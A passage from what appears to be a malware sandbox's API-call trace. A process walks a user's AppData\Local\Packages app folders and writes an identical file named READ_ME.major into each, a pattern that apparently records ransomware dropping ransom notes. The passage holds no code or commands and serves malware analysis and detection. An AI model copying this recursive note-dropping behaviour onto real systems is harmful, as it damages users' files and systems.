(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxidentityprovider_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x97c [0191.394] WriteFile (in: hFile=0x97c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.395] CloseHandle (hObject=0x97c) returned 1 [0191.395] FindNextFileW (in: hFindFile=0x2f86f68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf20f05a0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd24a61dd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf20f05a0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0191.395] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x244b117c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86ca8 [0191.396] FindNextFileW (in: hFindFile=0x2f86ca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x244b117c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.396] FindNextFileW (in: hFindFile=0x2f86ca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x924fb15e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x924fb15e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0191.396] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxspeechtotextoverlay_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x980 [0191.398] WriteFile (in: hFile=0x980, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.398] CloseHandle (hObject=0x980) returned 1 [0191.398] FindNextFileW (in: hFindFile=0x2f86ca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x92488a4a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0191.398] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxspeechtotextoverlay_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x980 [0191.400] WriteFile (in: hFile=0x980, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.400] CloseHandle (hObject=0x980) returned 1 [0191.400] FindNextFileW (in: hFindFile=0x2f86ca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x92488a4a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0191.400] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxspeechtotextoverlay_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x980 [0191.401] WriteFile (in: hFile=0x980, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.402] CloseHandle (hObject=0x980) returned 1 [0191.402] FindNextFileW (in: hFindFile=0x2f86ca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x92488a4a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0191.402] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxspeechtotextoverlay_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x980 [0191.402] WriteFile (in: hFile=0x980, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.403] CloseHandle (hObject=0x980) returned 1 [0191.403] FindNextFileW (in: hFindFile=0x2f86ca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244b117c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x244b117c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x244b117c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.403] FindNextFileW (in: hFindFile=0x2f86ca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x92488a4a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0191.403] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxspeechtotextoverlay_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x980 [0191.403] WriteFile (in: hFile=0x980, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.404] CloseHandle (hObject=0x980) returned 1 [0191.404] FindNextFileW (in: hFindFile=0x2f86ca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x924aecaf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0191.405] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxspeechtotextoverlay_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x980 [0191.405] WriteFile (in: hFile=0x980, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.406] CloseHandle (hObject=0x980) returned 1 [0191.406] FindNextFileW (in: hFindFile=0x2f86ca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x92488a4a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0191.406] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxspeechtotextoverlay_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x980 [0191.406] WriteFile (in: hFile=0x980, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.407] CloseHandle (hObject=0x980) returned 1 [0191.407] FindNextFileW (in: hFindFile=0x2f86ca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x92488a4a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0191.407] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxspeechtotextoverlay_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x980 [0191.408] WriteFile (in: hFile=0x980, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.409] CloseHandle (hObject=0x980) returned 1 [0191.409] FindNextFileW (in: hFindFile=0x2f86ca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x92488a4a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0191.409] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabdcd6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x913b2022, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x244b117c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f868a8 [0191.409] FindNextFileW (in: hFindFile=0x2f868a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabdcd6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x913b2022, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x244b117c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.409] FindNextFileW (in: hFindFile=0x2f868a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfac4f463, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3a02b33d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3a02b33d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0191.409] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984 [0191.411] WriteFile (in: hFile=0x984, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.412] CloseHandle (hObject=0x984) returned 1 [0191.412] FindNextFileW (in: hFindFile=0x2f868a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfac02fce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfac02fce, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0191.412] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984 [0191.414] WriteFile (in: hFile=0x984, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.415] CloseHandle (hObject=0x984) returned 1 [0191.415] FindNextFileW (in: hFindFile=0x2f868a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfac02fce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fd388, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfac02fce, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0191.415] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984 [0191.416] WriteFile (in: hFile=0x984, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.416] CloseHandle (hObject=0x984) returned 1 [0191.417] FindNextFileW (in: hFindFile=0x2f868a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabdcd6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fd7b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfabdcd6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0191.417] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984 [0191.418] WriteFile (in: hFile=0x984, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.419] CloseHandle (hObject=0x984) returned 1 [0191.419] FindNextFileW (in: hFindFile=0x2f868a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244b117c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x244b117c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x244b117c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.419] FindNextFileW (in: hFindFile=0x2f868a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabdcd6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fdbad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfabdcd6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0191.419] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984 [0191.419] WriteFile (in: hFile=0x984, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.420] CloseHandle (hObject=0x984) returned 1 [0191.420] FindNextFileW (in: hFindFile=0x2f868a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfac02fce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713b1523, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x713b1523, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0191.420] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984 [0191.422] WriteFile (in: hFile=0x984, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.423] CloseHandle (hObject=0x984) returned 1 [0191.423] FindNextFileW (in: hFindFile=0x2f868a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9120e63a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9120e63a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9120e63a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0191.423] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984 [0191.424] WriteFile (in: hFile=0x984, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.424] CloseHandle (hObject=0x984) returned 1 [0191.425] FindNextFileW (in: hFindFile=0x2f868a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabdcd6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2592721, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfabdcd6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0191.425] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\tempstate\\read_me.major"), 